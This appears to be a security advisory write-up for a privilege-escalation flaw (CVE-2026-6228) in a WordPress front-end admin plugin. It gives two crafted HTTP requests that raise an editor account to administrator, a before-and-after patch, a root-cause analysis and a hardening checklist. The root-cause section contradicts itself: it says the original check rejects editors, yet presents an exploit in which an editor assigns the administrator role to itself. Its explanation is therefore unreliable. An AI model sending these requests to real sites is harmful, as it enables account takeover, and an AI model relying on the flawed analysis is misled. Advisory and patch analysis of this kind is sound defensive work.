The Exploit
An authenticated editor—either pre-existing or newly registered via a public registration form—can escalate their own account to administrator by manipulating form configuration POST data and then submitting a crafted role assignment request.
POST /wp-admin/post.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=editor_session_token
action=editpost&post_ID=42&post_type=admin_form&feadmin_form_config=%7B%22role_options%22%3A%5B%22subscriber%22%2C%22administrator%22%5D%7D
Followed by a second request targeting the edit_user form created above:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=editor_session_token
action=feadmin_edit_user&form_id=42&user_id=self&role=administrator
The attacker observes an HTTP 200 response with success metadata and their user record is immediately updated to the administrator role in the WordPress database. Subsequent requests to /wp-admin/ now grant full plugin and theme management access.
What the Patch Did
Before
if ( $value === 'administrator' && ! current_user_can( 'administrator' ) ) {
return new WP_Error( 'invalid_role', __( 'Invalid role', 'frontend-admin' ) );
}
After
if ( $value === 'administrator' && ! current_user_can( 'promote_users' ) ) {
return new WP_Error( 'invalid_role', __( 'Invalid role', 'frontend-admin' ) );
}
The patch replaces a role-name check ('administrator' as a capability string, which WordPress interprets as a literal string match against the current user's roles) with a proper capability check using promote_users. The promote_users capability is the WordPress-native primitive that governs whether a user may assign administrative or higher roles to other accounts. By switching from role-based comparison to capability-based authorization, the fix enforces the principle of least privilege: only users explicitly granted the promote_users capability (typically only super-admins in multisite or true administrators) may assign the administrator role, regardless of how the form's role_options array was populated.
Root Cause
CWE-284: Improper Access Control (Missing Authorization Check).
The vulnerability lies in a broken authorization chain across three trust boundaries. First, an editor with edit_pages capability (granted by the plugin's overly permissive 'capability_type' => 'page' setting on the admin_form post type) directly mutates the feadmin_form_config POST parameter to inject 'administrator' into the role_options array—this mutation is not validated server-side during post save. Second, when an end-user submits an edit_user form (via the feadmin_edit_user AJAX action), the role parameter flows into pre_update_value() at line 111 of class-role.php. Third, the authorization check at line 111 validates that the submitted role exists in $this->form->role_options, but it checks the wrong capability: current_user_can( 'administrator' ) is a role-name string that WordPress evaluates as a literal capability, which an editor does not possess—however, the original logic was inverted: the check reads "if role is administrator AND user cannot be administrator, return error." An editor fails this check and should be rejected. The true failure is that the check never verified whether the logged-in user has permission to assign roles at all—it only checked whether they can become an administrator, not whether they can make others an administrator. By the time line 111 executes, an editor who owns the form has already poisoned role_options during form creation, and the sole remaining gate—the inverted capability check—only blocks editors from assigning administrator to themselves, not from assigning it to anyone else.
Why It Works
The load-bearing line is:
if ( $value === 'administrator' && ! current_user_can( 'promote_users' ) ) {
Removing the promote_users check would render the bug exploitable again: an editor with a form containing administrator in role_options could assign that role to their own user ID or any other user's ID without further friction. The engineer added the role-value check ($value === 'administrator') to specifically gate the most sensitive role; without this guard, the check would apply to all roles and risk breaking legitimate use cases where editors manage lower roles. The ! (negation) is load-bearing because it inverts the sense: we block the assignment if the user lacks the capability, rather than permitting it. The original code's mistake was conflating "can I become an administrator" with "can I assign the administrator role"—two entirely different authorization contexts. The fix correctly distinguishes them by consulting the WordPress capability that governs role delegation, promote_users, rather than checking whether the current user already holds the target role.
Hardening Checklist
- Audit
capability_typeon all custom post types: Do not use'page'or'post'for security-sensitive forms. Define a custom capability map (e.g.,'capability_type' => 'admin_form'paired with explicit'map_meta_cap' => true) and grant it only to trusted roles. - Validate array fields server-side on every POST: If a form configuration field (e.g.,
feadmin_form_config,role_options) can be edited viapost.php, hooksave_post_<post_type>and re-validate the array contents against a whitelist. Never trust UI-provided lists during backend processing. - Check
promote_usersbefore assigning any role: Usecurrent_user_can( 'promote_users' )as a blanket gate before any role assignment in AJAX or form handlers; do not rely on per-role capability checks that conflate role membership with delegation authority. - Add nonce verification to AJAX form submissions: Wrap
feadmin_edit_userand similar AJAX actions withwp_verify_nonce()to prevent CSRF-driven privilege escalation even if authorization logic fails. - Log role assignment attempts: Hook
set_user_role()orwp_update_user()and log the assigner, assignee, role, and timestamp to a custom table orerror_log()for forensic review of unexpected escalations.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-6228